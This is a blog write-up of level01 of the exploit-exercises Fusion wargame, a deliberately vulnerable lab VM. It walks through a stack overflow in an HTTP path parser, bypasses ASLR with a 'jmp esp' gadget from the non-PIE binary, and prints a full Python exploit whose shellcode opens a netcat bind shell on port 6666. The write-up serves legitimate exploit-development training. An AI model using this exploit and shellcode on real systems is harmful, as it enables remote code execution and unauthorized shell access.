Saturday, March 9, 2013

exploit-exercises Fusion: Level01

This is the write for level01 of exploit-exercises' Fusion wargame. This level is similar to the previous one with one exception: ASLR is enabled (Stack/Heap/mmap). The source code of the vulnerable program is provided as follow:
#include "../common/common.c"

int fix_path(char *path)
{
  char resolved[128];

  if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
  strcpy(path, resolved);
}

char *parse_http_request()
{
  char buffer[1024];
  char *path;
  char *q;

  // printf("[debug] buffer is at 0x%08x :-)\n", buffer); :D

  if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");

  path = &buffer[4];
  q = strchr(path, ' ');
  if(! q) errx(0, "No protocol version specified");
  *q++ = 0;
  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");

  fix_path(path);

  printf("trying to access %s\n", path);

  return path;
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;

  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);

  parse_http_request(); 
}
To demonstrate the issue, let's start by investigating how the levelXX daemons are started in Fusion.
monit (http://mmonit.com/monit/) is used to launch the various vulnerable daemons in Fusion.
root@fusion:~# ls /etc/monit/conf.d/
level00  level01  level02  level03  level04  level05  level06  level07  level08  level09
The difference between level00 and level01 is in the -R option passed to setarch
program.
root@fusion:~# diff /etc/monit/conf.d/level0{0,1}
1,3c1,3
< check process level00 with pidfile /opt/fusion/run/level00.pid
<   start program = "/usr/bin/setarch i386 -X -R /opt/fusion/bin/level00"
<   stop program = "/usr/bin/killall -9 level00"
---
> check process level01 with pidfile /opt/fusion/run/level01.pid
>   start program = "/usr/bin/setarch i386 -X /opt/fusion/bin/level01"
>   stop program = "/usr/bin/killall -9 level01"
The -R flag tells setarch to disable randomization of the virtual address space. A quick test with level00 shows this.
root@fusion:~# killall level00; /usr/bin/setarch i386 -X /opt/fusion/bin/level00
kroosec@doj:~$ ncat 192.168.25.2 20000

[debug] buffer is at 0xbf994978 :-)
root@fusion:~# killall level00; /usr/bin/setarch i386 -X /opt/fusion/bin/level00
kroosec@doj:~$ ncat 192.168.25.2 20000

[debug] buffer is at 0xbfdb2018 :-)
root@fusion:~# killall level00; /usr/bin/setarch i386 -X /opt/fusion/bin/level00
kroosec@doj:~$ ncat 192.168.25.2 20000

[debug] buffer is at 0xbfe45948 :-)
Notice how the address of buffer changes. Testing with the -R flag, we get
instead:
root@fusion:~# killall level00; /usr/bin/setarch i386 -X -R /opt/fusion/bin/level00
kroosec@doj:~$ ncat 192.168.25.2 20000

[debug] buffer is at 0xbffff368 :-)
root@fusion:~# killall level00; /usr/bin/setarch i386 -X -R /opt/fusion/bin/level00
kroosec@doj:~$ ncat 192.168.25.2 20000

[debug] buffer is at 0xbffff368 :-)
root@fusion:~# killall level00; /usr/bin/setarch i386 -X -R /opt/fusion/bin/level00
kroosec@doj:~$ ncat 192.168.25.2 20000

[debug] buffer is at 0xbffff368 :-)
Now, buffer is always at the same address: 0xbffff368!
With that being said, it is time to exploit level01. Unlike the previous level, we won't be able to return directly to our nop sled / shellcode as we don't know where it will be located.
However, note that not everything in our binary will be randomized. Given that level01 binary is not built as PIE (Position Independant Executable.), content of the .text segment will always be located at the same addresses.
root@fusion:/opt/fusion/bin# gdb -q level01
Reading symbols from /opt/fusion/bin/level01...done.
(gdb) disassemble main
Dump of assembler code for function main:
   0x0804997a <+0>:     push   %ebp
   0x0804997b <+1>:     mov    %esp,%ebp
   0x0804997d <+3>:     and    $0xfffffff0,%esp
   [...]
This will always yield the same results over numerous executions.
Obviously, we won't have a "shellcode" ready to use within our binary to return to. However, as I will detail in the next part, we can still use a snippet from
.text segment as a "stepping-stone".
First, let's test with a simple PoC.
kroosec@doj:~$ python -c "print 'GET /'+'A'*139 + '\x7a\x99\x04\x08' + 'C'*12 +' HTTP/1.1'" | ncat 192.168.25.2 20001
From the previous level, we know that we have 140 bytes of offset, EIP's value
will be 0x0804997a when fix_path returns. The value "0x804997a" I chose here
doesn't matter, as long as it won't segfault directly. We will have this session in gdb on our target machine.
(gdb) disassemble fix_path
Dump of assembler code for function fix_path:
   0x08049815 <+0>:     push   %ebp
   [...] 
   0x08049854 <+63>:    ret   
End of assembler dump.
(gdb) tb *fix_path+63
Temporary breakpoint 1 at 0x8049854: file level01/level01.c, line 9.
(gdb) continue
[...]
(gdb) x/12x $esp + 140
0xbfc48188: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfc48198: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfc481a8: 0x0804997a  0x43434343  0x43434343  0x43434343
Once we return from fix_path(), our new stack's top is the chain of 'C' we
added after the return address, which is just logical given basic x86 knowledge.
(gdb) x/4x $esp
0xbfc48100:     0x43434343      0x43434343      0x43434343      0x00176100
And what if instead of returning to a random address like 0x0804997a, we return to the address of a "jump esp" ? That's right, that 0x434343... sequence will become our new shellcode! To find a viable address to jump, nothing easier and more efficient than scanning the binary with metasploit's msfelfscan tool.
root@fusion:/opt/metasploit-framework# ./msfelfscan -j esp ../fusion/bin/level01
[../fusion/bin/level01]
0x08049f4f jmp esp
Quick test of our theory.
kroosec@doj:~$ python -c "print 'GET /'+'A'*139 + '\x4f\x9f\x04\x08' + '\xcc'+
'C'*11 +' HTTP/1.1'" | ncat 192.168.25.2 20001
will result in
(gdb) continue
Continuing.
[New process 4418]

Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to process 4418]
0xbfc48101 in ?? ()
Yep, that is the case! Now, with the full exploit.
#!/usr/bin/env python
get = 'GET '
path = '\x90' * 137 + '\xeb\x12'
ret = '\x4f\x9f\x04\x08'
rel_jmp = '\xeb\x25'
proto = ' HTTP/1.1'
nop = '\x90' * 30
shellcode  =  "\x31\xc0\x50\x68\x6e\x2f\x6e\x63"
shellcode +=  "\x68\x2f\x2f\x62\x69"
shellcode +=  "\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d"
shellcode +=  "\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68"
shellcode +=  "\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1"
shellcode +=  "\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31"
shellcode +=  "\xd2\xcd\x80"

payload = get + path + ret + rel_jmp + proto + nop + shellcode
print payload
A walkthrough is needed to explain all these jumps and nop sleds.
(gdb) break *fix_path+63
Breakpoint 1 at 0x8049854: file level01/level01.c, line 9.
We send the payload
kroosec@doj:~$ python payload01.py | ncat 192.168.25.2 20001 &
[1] 8699

And break just before fix_path() returns.
(gdb) x/i $eip
=> 0x8049854 <fix_path+63>: ret
(gdb) x/4wx $esp
0xbfc480fc: 0x08049f4f  0xbf0025eb  0x00000020  0x00000004
(gdb) si
Cannot access memory at address 0x12eb9094
(gdb) x/i $eip
=> 0x8049f4f:   jmp    *%esp
We return to our lovely "jmp esp" which will send us to resolved's rel_jmp.
(Remember that only get+path+ret+rel_jmp were copied into resolved.)
(gdb) si
0xbfc48100 in ?? ()
(gdb) x/i $eip
=> 0xbfc48100:  jmp    0xbfc48127
(gdb) x/10wx $eip
0xbfc48100: 0xbf0025eb  0x00000020  0x00000004  0x001761e4
0xbfc48110: 0x001761e4  0x000027d8  0x20544547  0x90909090
0xbfc48120: 0x90909090  0x90909090
We need this jump to skip some junk that is on the stack and buffer's get. We don't want to execute random stuff. ;)
(gdb) si
0xbfc48127 in ?? ()
(gdb) x/i $eip
=> 0xbfc48127:  nop
We are now in buffer's path (which is a long nop sled.) we will slide down to the relative jump (\xeb\x12) at the end of path.
(gdb) x/20i $eip + 120
   0xbfc4819f:  nop
   0xbfc481a0:  nop
   0xbfc481a1:  nop
   0xbfc481a2:  nop
   0xbfc481a3:  nop
   0xbfc481a4:  nop
   0xbfc481a5:  jmp    0xbfc481b9
   0xbfc481a7:  dec    %edi
   0xbfc481a8:  lahf  
   0xbfc481a9:  add    $0x8,%al
   0xbfc481ab:  jmp    0xbfc481d2
   0xbfc481ad:  add    %cl,0x54(%eax)
   0xbfc481b0:  push   %esp
   0xbfc481b1:  push   %eax
   0xbfc481b2:  das   
   0xbfc481b3:  xor    %ebp,(%esi)
   0xbfc481b5:  xor    %edx,-0x6f6f6f70(%eax)
   0xbfc481bb:  nop
   0xbfc481bc:  nop
   0xbfc481bd:  nop
This jump is needed to skip buffer's ret,rel_jmp and proto
(gdb) tb *0xbfc481a5
Temporary breakpoint 2 at 0xbfc481a5
(gdb) continue
Continuing.

Temporary breakpoint 2, 0xbfc481a5 in ?? ()
(gdb) si
0xbfc481b9 in ?? ()
This jump will send us to the nop sled preceding our shellcode.
(gdb) x/5i $eip + 25
   0xbfc481d2:  nop
   0xbfc481d3:  nop
   0xbfc481d4:  xor    %eax,%eax
   0xbfc481d6:  push   %eax
   0xbfc481d7:  push   $0x636e2f6e
We continue, and connect to our backdoor!
kroosec@doj:~$ ncat 192.168.25.2 6666
id

uid=20001 gid=20001 groups=20001
And that is it, phew!

No comments:

Post a Comment